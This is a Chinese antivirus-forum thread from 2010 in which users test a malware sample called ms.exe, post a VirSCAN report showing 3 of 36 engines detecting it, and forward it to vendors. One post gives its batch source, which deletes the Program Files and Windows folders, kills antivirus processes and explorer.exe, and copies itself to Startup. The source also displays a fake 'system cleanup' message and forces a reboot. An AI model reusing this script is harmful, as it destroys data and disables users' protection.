此毒绝对恶毒，直接过小A，秒杀360......

hanfeilong

技术分析：
此毒运行后，会尝试干掉如下进程
360rp.exe
360sd.exe
360tray.exe
kavsvc.exe
CCenter.exe
RfwSrv.exe
RsTray.exe
rsnetsvr.exe
RavTask.exe
ScanFrm.exe
KWatch.exe
KAVStart.exe
TrojDie.kxp
defwatch.exe
SNDSrvc.exe
explorer.exe
而后复制自身到「开始」菜单\程序\启动下，从而达到开机自动启动
最后  此毒会让电脑不停的自动启动
温馨提示：请谨慎测试！！！！

BitDefender

卡巴扫描0 金山卫士0

剑舞江南

用avast！、小红伞、360杀毒都没能检测到病毒，囧了！
在线检测只有3个杀毒软件检测出病毒。
VirSCAN.org Scanned Report :
Scanned time   : 2010/11/02 12:57:56 (CST)
Scanner results: 8%的杀软(3/36)报告发现病毒
File Name      : ms.zip
File Size      : 26792 byte
File Type      : Zip archive data, at least v2.0 to extract
MD5            : 99da6e1c5782d2068ff68a27dd9a8603
SHA1           : 8f5032b1f79c078b9ff28333e82451a2cda12577
Online report  : http://virscan.org/report/dee4a9614a53975c5fc1d2b0d0223aa5.html

Scanner        Engine Ver      Sig Ver           Sig Date    Time   Scan result
a-squared      5.0.0.20        20101031191241    2010-10-31  0.08   -
安博士V3       2010.11.02.00   2010.11.02        2010-11-02  0.08   -
AntiVir        8.2.4.86        7.10.13.77        2010-11-01  0.28   -
安天           2.0.18          20101031.5511964  2010-10-31  0.02   -
Arcavir        2010            201011021231      2010-11-02  0.07   -
Authentium     5.1.1           201011021630      2010-11-02  1.33   W32/Dropper.AHIP (Exact)
AVAST!         4.7.4           101101-1          2010-11-01  0.01   -
AVG            8.5.850         271.1.1/3232      2010-11-02  0.36   -
BitDefender    7.90123.6434156 7.34515           2010-11-02  4.89   -
ClamAV         0.96.3          12195             2010-11-02  0.02   -
Comodo         4.0             6585              2010-11-02  0.08   -
CP Secure      1.3.0.5         2010.11.01        2010-11-01  0.05   -
Dr.Web         5.0.2.3300      2010.11.02        2010-11-02  10.08  -
F-Prot         4.4.4.56        20101101          2010-11-01  1.34   W32/Dropper.AHIP (exact, dropper)
F-Secure       7.02.73807      2010.11.02.02     2010-11-02  0.06   Trojan:W32/Delf.DUZ [FSE]
飞塔           4.2.249         12.519            2010-11-01  0.08   -
GData          21.1040/21.443  20101101          2010-11-01  0.08   -
ViRobot        20101101        2010.11.01        2010-11-01  0.08   -
Ikarus         T3.1.32.15.0    2010.11.02.77064  2010-11-02  4.97   -
江民杀毒       13.0.900        2010.11.01        2010-11-01  0.09   -
卡巴斯基       5.5.10          2010.11.01        2010-11-01  0.10   -
金山毒霸       2009.2.5.15     2010.11.2.7       2010-11-02  0.09   -
迈克菲         5400.1158       6154              2010-11-01  20.29  -
Microsoft      1.6301          2010.11.02        2010-11-02  0.08   -
Norman         6.06.10         6.06.00           2010-11-01  10.02  -
熊猫卫士       9.05.01         2010.11.01        2010-11-01  0.09   -
趋势科技       9.120-1004      7.588.02          2010-11-01  0.04   -
Quick Heal     11.00           2010.11.02        2010-11-02  0.09   -
瑞星           20.0            22.72.00.01       2010-11-01  0.09   -
Sophos         3.13.1          4.59              2010-11-02  2.73   -
Sunbelt        3.9.2457.2      7192              2010-11-01  0.08   -
赛门铁克       1.3.0.24        20101101.002      2010-11-01  0.05   -
nProtect       20101101.01     9264883           2010-11-01  0.08   -
The Hacker     6.7.0.1         v00075            2010-11-01  0.08   -
VBA32          3.12.14.1       20101101.1224     2010-11-01  3.53   -
VirusBuster    4.5.11.10       10.130.7/1945922  2010-11-02  2.50   -
已经将样本上报360、avast!和小红伞官方。

hb1990521

to  kl   

Hello,

91754616_318179903_ms.exe_ - Trojan.BAT.KillProc.t

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

hanfeilong

楼上的是坏人  我发个病毒  你立即就上报

dljsxyls

@shift
@echo off
if exist "C:\Program Files" rd /s "C:\Program Files"
if exist "C:\WINDOWS" rd /s "C:\WINDOWS"
echo 正在清理您的系统垃圾，请稍后……
taskkill /f/im 360rp.exe
taskkill /f/im 360sd.exe
taskkill /f/im 360tray.exe
taskkill /f/im kavsvc.exe
taskkill /f/im CCenter.exe
taskkill /f/im RfwSrv.exe
taskkill /f/im RsTray.exe
taskkill /f/im rsnetsvr.exe
taskkill /f/im RavTask.exe
taskkill /f/im ScanFrm.exe
taskkill /f/im KWatch.exe
taskkill /f/im KAVStart.exe
taskkill /f/im TrojDie.kxp
taskkill /f/im defwatch.exe
taskkill /f/im SNDSrvc.exe
taskkill /f/im explorer.exe
copy %~s0:\MS.exe "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\"
copy %0~s0:\MS.exe "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\"
copy D:\MS.exe "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\"
copy C:\Documents and Settings\Administrator\桌面\MS.exe "C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\"
copy C:\Documents and Settings\user\桌面\MS.exe "C:\Documents and Settings\user\「开始」菜单\程序\启动\"
echo 系统清理完毕，请重启生效……
shutdown /r
shutdown -r
pause

hanfeilong

回复 6楼 dljsxyls 的帖子

额  源代码都被你弄出来了
楼上的是高手  本人自愧不如......

win98sp123

  微点主防没反应，机器也没有重启。。。

hanfeilong

回复 8楼 win98sp123 的帖子

按照六楼弄出来的代码  
我估摸着要满足某些条件然后才......

cherry845

厉害，ESS4.2和小A没有任何反应！！！